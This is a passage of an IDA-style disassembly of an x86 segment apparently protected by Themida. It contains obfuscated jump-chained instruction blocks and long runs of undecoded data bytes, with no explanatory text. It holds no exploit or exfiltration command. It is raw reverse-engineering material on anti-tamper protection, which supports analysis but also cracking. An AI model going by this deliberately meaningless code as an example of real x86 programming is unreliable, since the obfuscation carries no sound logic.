--------------------------------------------------------------------------- dd 0E924348Bh, 0FFFFE7E8h, 20D4E955h, 0C7810000h, 6CA61F92h dd 6739E9h, 8BF80100h, 0C481243Ch, 4, 0E958C301h, 33AAh dd 0E9D2F74Ah, 5861h ; --------------------------------------------------------------------------- loc_5471D4: ; CODE XREF: Themida_:0054C792j push esp pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_544B51 ; --------------------------------------------------------------------------- loc_5471F0: ; CODE XREF: Themida_:0054CB6Dj shl edx, 1 add edx, 0DEE9E2FCh sub eax, 157774EBh add eax, edx add eax, 157774EBh jmp loc_54C235 ; --------------------------------------------------------------------------- db 1, 0E8h, 5Dh dd 91BD5556h, 8116D664h, 0E40239C5h, 0E8C5817Ah, 0C122C17Ch dd 63E902EDh, 3300006Dh, 248B2414h, 24148924h, 4BAh, 1F93E900h dd 89570000h, 4BE56E7h, 1000000h, 7EEFE9F7h, 0EB20000h dd 5A66D328h, 0E9C8C380h, 1FB1h, 74FF565Bh, 0E95E0424h dd 0FFFFE112h, 0B3F3815Eh, 109D542h, 84685BD8h, 89000077h dd 0E957242Ch, 7B4Ch ; --------------------------------------------------------------------------- loc_54727C: ; CODE XREF: Themida_:0054AE75j pop ecx push esi jmp loc_544C9B ; --------------------------------------------------------------------------- db 89h dd 24048BC6h, 4C481h, 0B9510000h, 9B1B276h, 3F44EE81h dd 0CE012B88h, 3F44C681h, 4E592B88h, 54A6E9h, 35BB5300h dd 21091F6Fh, 241C8BDDh, 5104C483h, 0D5A835B9h, 0E9CD3105h dd 8CDBh, 4108E1C1h, 2C18141h, 89518730h, 0C18959C8h, 59CB0158h dd 4B951h, 0B9E90000h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5472E3: ; CODE XREF: Themida_:0054DC48j add esp, 4 pop dword ptr [esp] pop esp push 6CE9h mov [esp], edi jmp loc_54CCC2 ; --------------------------------------------------------------------------- dw 6664h dd 0D6E9028Bh, 0D000008Bh, 34C380E3h, 7426E9h, 4895C00h dd 24048B24h, 4EC81h, 4890000h, 9D9E924h, 0CA290000h, 2E75C281h dd 0EE900E4h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54732F: ; CODE XREF: Themida_:005446BBj push esi mov esi, 348558B6h push edx mov edx, 74B30BBBh jmp loc_545A4C ; --------------------------------------------------------------------------- dd 240C8B66h, 12DDE9h, 241C8B00h, 4A09E9h, 48B6600h, 32CC6824h dd 1C890000h, 685B5424h, 6334h, 57243489h, 0F13C6B68h dd 0DE95F68h, 8B00005Ch, 34FF2424h, 0F41E924h, 0C6800000h dd 4220E9C3h, 34FF0000h, 0EC835924h, 24048904h, 4055854h dd 0E9000000h, 0FFFFE008h ; --------------------------------------------------------------------------- loc_54739C: ; CODE XREF: Themida_:00546E40j add ebp, esi push ecx mov ecx, 0C743880h neg ecx shl ecx, 3 dec ecx jmp loc_5493BA ; --------------------------------------------------------------------------- loc_5473AF: ; CODE XREF: Themida_:00546E17j add edx, 4 jmp loc_549BB6 ; --------------------------------------------------------------------------- dw 0DA01h dd 0D283E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5473C2: ; CODE XREF: Themida_:0054AED6j sub bl, 0EDh push ax jmp loc_54EF40 ; --------------------------------------------------------------------------- dd 0BD55E289h, 4, 77E6C281h, 0EA016B0Bh, 77E6EA81h, 505D6B0Bh dd 4775E9h, 81C60100h, 585286C6h, 6852587Eh, 0A31h, 392CE9h dd 0A7ABF00h, 0BB533870h, 27801D85h, 5B72EB81h, 814322F4h dd 9D0ACFC3h, 8EB817Dh, 1608F92h, 0F7815BDFh, 306B57DCh dd 5802E9h, 4C38100h, 81000000h, 4ECh, 240C8900h, 8904EC83h dd 9DBE2434h, 0B97B0243h, 0BD0A453Fh, 555EF129h, 3208D5BDh dd 5DE93131h, 975E981h, 0CB01733Ah, 4EC8159h, 0E9000000h dd 1570h ; --------------------------------------------------------------------------- loc_547468: ; CODE XREF: Themida_:0054D7E4j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_54654B ; --------------------------------------------------------------------------- loc_547477: ; CODE XREF: Themida_:00549838j xor edx, 11A73222h xor edi, edx jmp loc_545C92 ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFDA10h, 4EC8351h, 52240489h, 0FFF965E9h db 0FFh ; --------------------------------------------------------------------------- loc_547499: ; CODE XREF: Themida_:0054EC77j sub esp, 4 jmp loc_54BB9E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC8159h, 89000000h, 0E0892404h, 405h, 4EC8100h, 89000000h dd 66E9243Ch, 3400000Dh, 533E0C61h, 0FFDDBEE9h, 9FE981FFh dd 810BCE37h, 8EC196C1h, 59CE01D9h, 2474FF56h, 4AE95E04h dd 87000081h, 72E9241Ch, 5600002Ah, 8A55D3BEh, 1ECEE95Fh dd 0B8500000h, 5820D1Fh, 63A4E9h, 6358B900h, 0F181138Fh dd 29A04FAFh, 212CE9h, 80D18600h, 0C830E2C1h, 3FAE9h, 1BE94E00h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_547527: ; CODE XREF: Themida_:0054AE9Fj sub bl, ch sub bl, 49h pop ecx add bl, al push ecx jmp loc_54D1EE ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C241CD3h, 0FFCADDE9h, 0E95257FFh, 6BF5h ; --------------------------------------------------------------------------- loc_54754C: ; CODE XREF: Themida_:00544DC3j mov ecx, 0FC7FBBADh xor edx, ecx jmp loc_54518D ; --------------------------------------------------------------------------- dd 5C241487h, 4605E6C1h, 0F81C681h, 0F701D25Bh, 5224348Bh dd 0B951E289h, 5AB40708h, 0C108E9C1h, 0E98106E9h, 16ACCh dd 8359CA01h, 148704C2h, 3C875C24h, 5D83E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547592: ; CODE XREF: Themida_:0054F9CCj mov ecx, [esp] add esp, 4 mov eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_54EFAD ; --------------------------------------------------------------------------- loc_5475A8: ; CODE XREF: Themida_:0054626Cj xchg ecx, [esp] jmp loc_544C11 ; --------------------------------------------------------------------------- dd 5C241C87h, 4C381h, 0C3810000h, 2, 31241C33h, 1C33241Ch dd 869FE924h, 0C0830000h, 24048704h, 14C6815Ch, 1115C28h dd 14EE81DEh, 8B115C28h, 71E9241Ch, 89000081h, 2BA2414h dd 89000000h, 2434FFD3h, 49B1E9h, 2434FF00h, 31FFE9h db 0 ; --------------------------------------------------------------------------- loc_547605: ; CODE XREF: Themida_:00549513j push 4CAFh mov [esp], ebx mov ebx, 40h and ecx, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_54C1AC ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 814EE924h, 0C15A0000h, 16E906E3h, 0B2FFFFCEh dd 3EAC0DAh, 0E8EA80h, 47C2E9D0h, 0BB530000h, 29199Fh dd 15BDE31h, 23E95EF2h, 88000058h, 45B58C2h, 0E9D0007Eh dd 44D3h, 5DEB2966h, 0EEEB8166h, 0C3016663h, 64BFE9h, 638BF00h dd 6686B20h, 89000026h, 0B9512434h, 6C401EEEh, 618DE9h dd 5E08900h, 4, 405h, 24048700h, 0B2E9FD5Ch, 89000054h dd 0F8095AD7h, 0FFCFC1E9h, 74FF53FFh, 46E90424h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_5476B3: ; CODE XREF: Themida_:0054A3FDj xchg ecx, [esp] pop esp mov esi, [esp] jmp loc_546FA8 ; --------------------------------------------------------------------------- a_sri db '_é',0 db 0 ; --------------------------------------------------------------------------- loc_5476C5: ; CODE XREF: Themida_:0054D625j mov ebp, esp push esi jmp loc_546A5A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0A3BF243Ch, 5614786Dh, 0FFF12CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5476E1: ; CODE XREF: Themida_:005470F8j pop esi or edx, eax shl edx, 1 xor [edi+24h], edx xor edx, [edi+24h] xor [edi+24h], edx jmp loc_54DD2E ; --------------------------------------------------------------------------- loc_5476F4: ; CODE XREF: Themida_:0054F405j pop edx add ecx, ebp pop ebp sub ecx, 4 jmp loc_54ED29 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFC91Ah ; --------------------------------------------------------------------------- loc_547708: ; CODE XREF: Themida_:0054A9FAj sub esp, 4 mov [esp], edi push 3D41h mov [esp], esp push ecx jmp loc_54E982 ; --------------------------------------------------------------------------- loc_54771C: ; CODE XREF: Themida_:005479B0j push ecx jmp loc_54A64A ; --------------------------------------------------------------------------- a13LSg db '1,$3,$$$ég',7,0 align 10h loc_547730: ; CODE XREF: Themida_:0054F03Cj mov esi, 4 mov edx, esi pop esi add [esp+4], edx pop edx jmp loc_5440E5 ; --------------------------------------------------------------------------- dw 85Bh dd 535966CCh, 5166B8B3h, 0EB286CB5h, 0B0505966h, 4C8FE3Dh dd 404BE9F4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54775E: ; CODE XREF: Themida_:00546B28j add esp, 4 add edx, 4 jmp loc_544919 ; --------------------------------------------------------------------------- db 58h, 87h, 0Ch dd 24248B24h, 0E92424D3h, 0FFFFC8AAh, 0F04C483h, 8B66C0B6h dd 68682414h, 89000022h, 0EDE9242Ch, 29000074h, 5D04246Ch dd 7AE9565Ah, 5C000015h, 31242C33h, 2C33242Ch, 601FE924h dd 0F8010000h, 83243C8Bh, 0EF8104C4h, 157F3E31h, 0C781C729h dd 157F3E31h, 5224048Bh, 0C281E289h, 4, 8704C283h, 0D6E92414h dd 66000052h, 53240C89h, 85B514B3h, 0C7E9DD00h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5477E7: ; CODE XREF: Themida_:00549684j mov ebp, 419D0B16h push edx mov edx, 595674C2h and ebp, edx pop edx shr ebp, 1 neg ebp or ebp, 546215DBh dec ebp add ebp, 969C0D6Ch jmp loc_545C04 ; --------------------------------------------------------------------------- db 66h dd 52240489h, 0C2FEBAB2h, 805CC280h, 0D0882DF2h, 4124E9h dd 4EC8300h, 0B8240489h, 5FE3323Ah, 42C702Dh, 74282D09h dd 9A350982h, 894D5C91h, 0E95758C7h, 1599h, 2C6815Ch, 33000000h dd 34312434h, 4898E924h, 0C3810000h, 3BE57C94h, 38E3E9h dd 242C8900h, 0D7328568h, 0EB015D0Bh, 57242C8Bh, 0E951E789h dd 7E2Fh, 6BD5EB81h, 3C8B0798h, 4C48124h, 0FF000000h, 0C794E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54788E: ; CODE XREF: Themida_:00548621j mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor edx, edx push 7941h mov [esp], ebx mov eax, [esp] jmp loc_549D27 ; --------------------------------------------------------------------------- db 83h dd 0E0E901EDh, 53FFFFD8h, 0A66E951h, 0C8680000h, 89000034h dd 0C5BD242Ch, 12E227Eh, 3C8B5DE8h, 4C48124h, 0E9000000h dd 4FA5h, 0E99F2CACh, 0FFFFD6B0h, 8BB2EE81h, 322DE938h dd 1386F78h, 783205F0h, 348B386Fh, 4C48124h, 53000000h dd 95E9E389h, 66000013h, 68240C8Bh, 264Bh, 0E9243C89h dd 7241h, 0A4D4E2B9h, 2DE981AAh, 12AD138h, 2DC181F1h, 8B2AD138h dd 12E92434h, 83000072h, 0E9042404h, 474Bh, 5D0DE281h dd 0D7E9090Fh db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54795B: ; CODE XREF: Themida_:00546808j and edi, 53E0037Fh not edi xor edi, 0C9DBB0BFh jmp loc_549F9E ; --------------------------------------------------------------------------- dw 8B66h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 3AD6345Dh and edx, 30507AC2h shl edx, 7 dec edx jmp loc_54C3E7 ; --------------------------------------------------------------------------- loc_54798A: ; CODE XREF: Themida_:0054C2B9j push ecx mov ecx, 0CE533B6Bh add edi, ecx pop ecx mov edx, edi pop edi sub edx, 1 sub esp, 4 jmp loc_54A2CE ; --------------------------------------------------------------------------- loc_5479A4: ; CODE XREF: Themida_:0054B2F9j shl edx, 3 add edx, 0D719964h add ebx, edx pop edx jmp loc_54771C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 8B545624h, 0C4832434h, 4EC8304h, 0E9240C89h, 2895h ; --------------------------------------------------------------------------- loc_5479CC: ; CODE XREF: Themida_:0054A2D6j xor edx, edi jmp loc_5493D2 ; --------------------------------------------------------------------------- db 0C1h dd 0EF8102EFh, 0A168FA11h, 0FFE14CE9h, 405FFh, 0A3E90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5479EB: ; CODE XREF: Themida_:0054DDF7j push dword ptr [esp] pop edx add esp, 4 sub edx, 73064834h add edx, 105B78CEh add edx, edi sub edx, 105B78CEh push ecx push eax mov eax, 17AB2A1Bh jmp loc_54D06C ; --------------------------------------------------------------------------- loc_547A15: ; CODE XREF: Themida_:0054C6FAj xor [esp], eax xor eax, [esp] xor [esp], eax xchg eax, ebx not ebx xchg eax, ebx push eax push dword ptr [esp+4] jmp loc_54ACFF ; --------------------------------------------------------------------------- dd 2414F755h, 81D5F75Dh, 803212CDh, 0F7D5F763h, 65ED81DDh dd 57291A87h, 59D1E9h db 0 ; --------------------------------------------------------------------------- loc_547A49: ; CODE XREF: Themida_:00548DF9j ; Themida_:0054ECC1j ... push dword ptr [esp] push dword ptr [esp] jmp loc_54DE0E ; --------------------------------------------------------------------------- dd 24048B66h, 7F3768h, 0E5B5E900h, 5E5EFFFFh, 4EF6E9h db 0 ; --------------------------------------------------------------------------- loc_547A69: ; CODE XREF: Themida_:0054DF7Ej mov [esp], edx jmp loc_548418 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 489665Ch, 7345E924h, 0D7090000h, 801EE9h, 0D0CDFE00h dd 0C3C580E5h, 459E828h, 0E9E82830h, 48E6h, 0BF243C89h dd 2DE20247h, 0FFC665E9h, 0A4BA52FFh, 81098347h, 322152EAh dd 5CE28128h, 68335C7Eh, 2F28h, 7FB6E9h db 0 ; --------------------------------------------------------------------------- loc_547AC1: ; CODE XREF: Themida_:0054504Dj add esp, 4 shr eax, 0Ah jmp loc_54C6F0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 4C681h, 0B9510000h, 2, 0AE4C681h, 0CE012238h dd 0AE4EE81h, 0E9592238h, 2F63h, 0F759CA29h, 42E956D2h dd 8BFFFFE6h, 86E9242Ch, 33FFFFD3h, 34312434h, 24343324h dd 0BE0F665Ch, 0EB2EE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547B1E: ; CODE XREF: Themida_:005484F6j mov edi, esp push 4360h mov [esp], eax jmp loc_546182 ; --------------------------------------------------------------------------- db 89h, 0FBh, 5Fh dd 7668F381h, 0DE012B83h, 0FFF71BE9h, 570959FFh, 68535A1Ch dd 6AB1h, 53242C89h, 576FEABBh, 0BE5E94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B56: ; CODE XREF: Themida_:0054A673j pop esp sub [edi+24h], ecx pop ecx loc_547B5B: ; CODE XREF: Themida_:0054F7D8j push 52E7h mov [esp], ebx push esi sub esp, 4 mov [esp], ebx push ecx push ebp push 48E752D4h pop ebp jmp loc_54F827 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 6C015C24h, 5E5D0424h, 4F4D68h, 6673E900h dd 58540000h, 405h, 0DAB95100h, 0C15A4051h, 0FCE902E9h dd 8900005Eh, 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048F5Ch dd 4606E9h, 0E7814F00h, 444A4BDFh, 12C78147h, 1FCF924h dd 29595FF8h, 0A7EE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BD6: ; CODE XREF: Themida_:0054DD55j mov eax, 4C0C3446h not eax push edx mov edx, 9CF747Fh sub eax, edx pop edx add eax, 1 sub eax, 0AA245717h add eax, edi xor [eax], edx pop eax jmp loc_54AFF4 ; --------------------------------------------------------------------------- loc_547BFA: ; CODE XREF: Themida_:00544189j mov ebp, 4CD13BFCh jmp loc_5488E6 ; --------------------------------------------------------------------------- dd 19B0C381h, 0E9554AEBh, 13DBh, 8247C29h, 7E95B5Fh, 87FFFFC4h dd 248B2434h, 6AEA8124h, 811A0C17h, 0DB1B53EAh, 81C2010Ah dd 0DB1B53C2h, 6C27E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_547C3A: ; CODE XREF: Themida_:00549790j push ebp jmp loc_545F79 ; --------------------------------------------------------------------------- dd 8106EEC1h, 37CB2C6h, 51BCE927h, 0D9890000h, 5B59CE89h dd 3A8BE9h, 66E20000h, 0B13E958h, 8B660000h, 8957240Ch dd 4C781E7h, 83000000h, 3C8704EFh, 0F5E95C24h, 5D00001Ch dd 0FFFDFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_547C81: ; CODE XREF: Themida_:00544FE9j add esp, 4 shl esi, 1 push ebp mov ebp, 71CAA14h xor esi, ebp pop ebp sub eax, 55AB5E16h add eax, esi add eax, 55AB5E16h jmp loc_54DBBF ; --------------------------------------------------------------------------- aVicsN db 'VćéßN',0 align 4 dd 8B241433h, 21E92424h, 5AFFFFE8h, 0E324E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547CBA: ; CODE XREF: Themida_:00549B01j push ecx sub esp, 4 jmp loc_549C64 ; --------------------------------------------------------------------------- dw 0EE81h dd 3AE644Fh, 180EEE81h, 0C60175A9h, 81E28952h, 4C2h, 4EA8100h dd 0E9000000h, 4673h, 0EA88D5F6h, 0FFC79BE9h db 0FFh ; --------------------------------------------------------------------------- loc_547CF1: ; CODE XREF: Themida_:0054CADCj add dword ptr [esp], 4 pop ebp jmp loc_54DAB7 ; --------------------------------------------------------------------------- db 89h dd 84B951E0h, 41612047h, 0FFD758E9h db 0FFh ; --------------------------------------------------------------------------- loc_547D09: ; CODE XREF: Themida_:0054CE18j mov ecx, [esp] add esp, 4 jmp loc_549DC7 ; --------------------------------------------------------------------------- dd 0F724248Bh, 0E68956E9h, 4C681h, 2BE90000h, 81000062h dd 47061DE5h, 7BD0E91Eh, 77FF0000h, 59669D1Ch, 9C2414D3h dd 0FFC2E1E9h, 0D8E02DFFh, 38E9F017h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547D4B: ; CODE XREF: Themida_:00549659j mov ebp, 4 add edx, ebp pop ebp push ebx jmp loc_54AEAE ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 6 dd 2A55BF57h, 0F931FCEFh, 646FE95Fh, 0C330000h, 0FAD2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547D72: ; CODE XREF: Themida_:0054B923j pop ebp add eax, 527B5515h add eax, edx sub eax, 527B5515h push dword ptr [esp] jmp loc_54A5E4 ; --------------------------------------------------------------------------- db 1 dd 24348BF1h, 4262E9h, 17B15100h, 8128F180h, 4ECh, 241C8900h dd 30E5E9h, 40500h, 4870000h, 24248B24h, 0FFC26DE9h, 4EC81FFh dd 89000000h, 4832424h, 0F7E90424h, 66000081h, 8124148Bh dd 2C4h, 4EC8100h, 89000000h, 7068241Ch, 89000024h, 88532404h dd 97E952D3h, 53000044h, 7229E9h, 0E2895200h, 569BE9h dd 48F5B00h, 0EDE6E924h, 0DAF7FFFFh, 5701C283h, 6D35A5BFh dd 0E7A0E92Eh, 4868FFFFh, 89000046h, 0BB66241Ch, 0C1664123h dd 686604EBh, 89667273h, 28E9241Ch, 0E9000066h, 0FFFFC1EEh dd 0C5F5815Dh, 0E945CD6Eh, 60C7h, 0E9241C33h, 3599h ; --------------------------------------------------------------------------- loc_547E48: ; CODE XREF: Themida_:0054C2EFj add esp, 4 jmp loc_54BAF1 ; --------------------------------------------------------------------------- dd 0E5C0E5D0h, 80DDF603h, 0EF3076F5h, 371FE9h, 17C58100h dd 89467B4Ch, 0BD555DE9h, 50455294h, 3FBFE9h db 0 ; --------------------------------------------------------------------------- loc_547E75: ; CODE XREF: Themida_:00544C04j push 59722EA4h pop ebx shl ebx, 1 push ebp jmp loc_54F4B9 ; --------------------------------------------------------------------------- db 83h dd 1C8702C3h, 24248B24h, 4A30F66h, 0CEE99C24h, 8300001Bh dd 148904ECh, 81E28924h, 4C2h, 4C28300h, 0E9241487h, 8116h ; --------------------------------------------------------------------------- loc_547EB0: ; CODE XREF: Themida_:0054EE2Aj add al, cl add al, 50h jmp loc_54D462 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8904EC83h, 5D54242Ch, 46857h, 34FF0000h, 89505F24h dd 0C6B951E0h, 0E90B1F34h, 0B94h, 405h, 3B6BE900h, 0EE810000h dd 0D8038A2h, 3BAAE952h, 8B660000h, 54502404h, 0FFD0C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_547EFD: ; CODE XREF: Themida_:0054D1E0j add edi, 5BE54D9Dh jmp loc_54A741 ; --------------------------------------------------------------------------- loc_547F08: ; CODE XREF: Themida_:0054D15Dj pop esi or eax, eax jnz loc_545B16 mov edx, 5F8447BCh push 4C62h mov [esp], edx xchg ebx, [esp] not ebx xchg ebx, [esp] jmp loc_5459B1 ; --------------------------------------------------------------------------- loc_547F2B: ; CODE XREF: Themida_:0054D8D6j push dword ptr [esp+4] jmp loc_54E276 ; --------------------------------------------------------------------------- loc_547F34: ; CODE XREF: Themida_:00549708j pop esp jmp loc_54FF47 ; --------------------------------------------------------------------------- loc_547F3A: ; CODE XREF: Themida_:0054F9F3j mov eax, 94C021Fh shr eax, 8 and eax, 0F700DE5h inc eax sub eax, 0B04E076Fh mov edx, eax pop eax sub esp, 4 jmp loc_5452D3 ; --------------------------------------------------------------------------- dd 240CD366h, 0F43E99Ch, 0CD800000h, 4BED8072h, 5E5CE9h dd 41DC2D00h, 0A3E97F3Fh, 0AD000062h, 2668D831h, 89000007h dd 31BB241Ch, 81526D00h, 1D0583E3h, 6EBC142h, 4ACAE9h db 0 ; --------------------------------------------------------------------------- loc_547F95: ; CODE XREF: Themida_:0054B657j shl edx, 7 not edx inc edx xor edx, 7A513184h mov esi, edx pop edx sub ecx, 1CAC76E1h jmp loc_54A5D2 ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 0FFFFC06Ah ; --------------------------------------------------------------------------- loc_547FB8: ; CODE XREF: Themida_:00546F5Bj mov edi, [esp] jmp loc_54A98F ; --------------------------------------------------------------------------- dd 999D1BBBh, 0FFDF3146h, 1C8B2434h, 4C48124h, 83000000h dd 0F83104C4h, 83243C8Bh, 0BA5204C4h, 5B6E3F3Eh, 0DA0AC281h dd 8BE9D488h, 5D00002Eh, 8904EC83h, 0BA52242Ch, 401C2446h dd 7E8E281h, 0C2814F27h, 0BFFBFBC4h, 815AD589h, 25D0EE9h dd 0E9E90169h, 388Eh ; --------------------------------------------------------------------------- loc_548018: ; CODE XREF: Themida_:00546405j mov ecx, 14586672h jmp loc_544451 ; --------------------------------------------------------------------------- dw 48Bh dd 4EC8124h, 89000000h, 0E589242Ch, 5DFCE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548036: ; CODE XREF: Themida_:0054AA65j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_54A72E ; --------------------------------------------------------------------------- loc_54804C: ; CODE XREF: Themida_:00544914j sub ebx, edi sub ebx, 4A60221Ah pop edi sub ebx, esi jmp loc_5483A8 ; --------------------------------------------------------------------------- dd 0AE9E3D1h, 8900000Ch, 5BE56E2h, 4E0A4667h, 0E906EEC1h dd 0FFFFF4ADh, 3F6EE948h, 0CF810000h, 6AF36CC2h, 4F08E7C1h dd 50F78147h, 1E581F1h, 0A6E95FFEh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548093: ; CODE XREF: Themida_:0054E447j pop ecx jmp loc_5469A4 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0E9565954h, 0FFFFD30Ah, 5024148Bh, 0BE56E089h, 711C33AAh dd 0AE9D6F7h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5480B7: ; CODE XREF: Themida_:005442C3j ; Themida_:0054C227j push ecx jmp loc_544E80 ; --------------------------------------------------------------------------- loc_5480BD: ; CODE XREF: Themida_:005440B7j mov [esp], edi push esi mov esi, 77C5F1Bh mov edi, 77C5F1Ah xor edi, esi pop esi and ecx, edi jmp loc_544EE5 ; --------------------------------------------------------------------------- db 5Ch, 33h, 1Ch dd 0C2C4E924h, 0C329FFFFh, 0E9C32958h, 0FFFFDB4Dh ; --------------------------------------------------------------------------- loc_5480E8: ; CODE XREF: Themida_:00545F02j mov esi, 1783100Ah jmp loc_54D07D ; --------------------------------------------------------------------------- dw 0EB81h dd 4, 0E9241C33h, 78D1h, 4240481h, 8B000000h, 0C4832404h dd 0C5B95104h, 41038757h, 4A71E181h, 0C9814B6Fh, 3EEF0BA1h dd 0B423C181h, 0C801C010h, 7730E959h, 0F4800000h, 6EEB80BAh dd 0C380E328h, 24048B6Eh, 0FFF637E9h db 0FFh ; --------------------------------------------------------------------------- loc_548141: ; CODE XREF: Themida_:0054FB60j push esp push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 59F85FA6h and ebp, 3CDD2AC6h shl ebp, 2 and ebp, 25A72460h jmp loc_544AF8 ; --------------------------------------------------------------------------- db 56h dd 0A6512ABEh, 527FE91Bh, 9680000h, 89000069h, 95E9243Ch db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54817B: ; CODE XREF: Themida_:00545D3Cj push eax jmp loc_54B8CE ; --------------------------------------------------------------------------- db 0BAh, 54h, 5Ah dd 9AE965F4h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54818B: ; CODE XREF: Themida_:0054E010j pop eax not eax or eax, 4A2A2E22h or eax, 7F22CBh xor eax, 3CBA0605h push esi push 4A1153D8h pop esi jmp loc_54E20F ; --------------------------------------------------------------------------- db 81h, 0CEh, 0E2h dd 811D6D67h, 0B52C22F6h, 0C3EE816Ah, 29574A5Bh, 810E9F2h dd 34FF0000h, 89535924h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 3157E95Ch, 0C0680000h, 89000041h, 0E957240Ch, 0FFFFF485h dd 21ABE56h, 0F5897E6Bh, 0E9DDF75Eh, 0FFFFEEDDh, 8B2434FFh dd 0C4832404h, 6626804h, 36E90000h, 6600002Dh, 6802B60Fh dd 3500h, 54242C89h, 5799E9h db 0 ; --------------------------------------------------------------------------- loc_548221: ; CODE XREF: Themida_:0054A645j mov edx, ebp pop ebp jmp loc_5496B3 ; --------------------------------------------------------------------------- db 0BFh, 0A2h, 3Dh dd 0F7812D97h, 2D973DA6h, 0D7E9F801h, 55000028h, 4BDh dd 86C18100h, 81318D2Ah, 5226C3C1h, 81E9016Dh, 5226C3E9h dd 86E9816Dh, 5D318D2Ah, 8704C183h, 248B240Ch, 0E2BB5324h dd 4B290F2Ah, 16BFCB81h, 0BF5724DCh, 34F88CFh, 96E9FB01h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54827F: ; CODE XREF: Themida_:00544E81j mov ecx, [esp] add esp, 4 jmp loc_549F97 ; --------------------------------------------------------------------------- loc_54828A: ; CODE XREF: Themida_:00546E20j pop edx xor al, dl mov edx, [esp] push edx jmp loc_54AA63 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B9240C89h, 5D2D02AAh, 5519E9h, 49D4B800h, 402D7E4Dh dd 0F74E5C26h, 239805D8h, 54E92FF1h, 8B00002Ch, 89572404h dd 4C781E7h, 81000000h, 4C7h, 0E900h, 3C870000h, 7415E924h dd 0E8000000h, 592434FFh, 0FFE68CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5482E9: ; CODE XREF: Themida_:0054936Fj mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp add eax, 7C053457h sub esp, 4 mov [esp], ecx push 4000h pop ecx and eax, ecx jmp loc_5486AF ; --------------------------------------------------------------------------- db 66h, 81h, 44h dd 2CA50224h, 0BD665566h, 1663216h, 6604246Ch, 6C81665Dh dd 0C530224h, 240C8B66h, 0E902C483h, 21CCh, 0EF88D588h dd 6BB4E959h, 0EA800000h, 11F9E9A2h, 875E0000h, 248B242Ch dd 58545024h, 4EE95055h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_54835B: ; CODE XREF: Themida_:00546D63j xchg ebp, [esp] pop esp xor ebx, 629A06D7h push ecx push 7A701EE5h jmp loc_544033 ; --------------------------------------------------------------------------- dd 2434FF5Ch, 53240C8Bh, 67E9E389h, 5000001Ch, 0C40B36B8h dd 79EF0D3Dh, 0E9403AFCh, 28E0h, 2C8B5455h, 4C48324h, 6B76E9h dd 4C28100h, 0E9000000h, 0FFFFD699h ; --------------------------------------------------------------------------- loc_5483A8: ; CODE XREF: Themida_:00548057j push eax mov eax, 4A443A4Ch jmp loc_544DC8 ; --------------------------------------------------------------------------- db 89h dd 5B5D53F3h, 0C770E95Eh, 0E951FFFFh, 61C1h, 4246C29h dd 0FFE08AE9h, 0A5BB53FFh, 89592F29h, 0D0015BDAh, 5F76E9h db 0 ; --------------------------------------------------------------------------- loc_5483DD: ; CODE XREF: Themida_:0054E059j mov [esp], edx jmp loc_54D1CE ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0E924248Bh, 0FFFFD53Fh, 240C8B66h, 4EC81h, 3C890000h dd 81E78924h, 4C7h, 4EC8300h, 0E9241C89h, 1CE2h, 0E924248Bh dd 0FFFFC4A6h ; --------------------------------------------------------------------------- 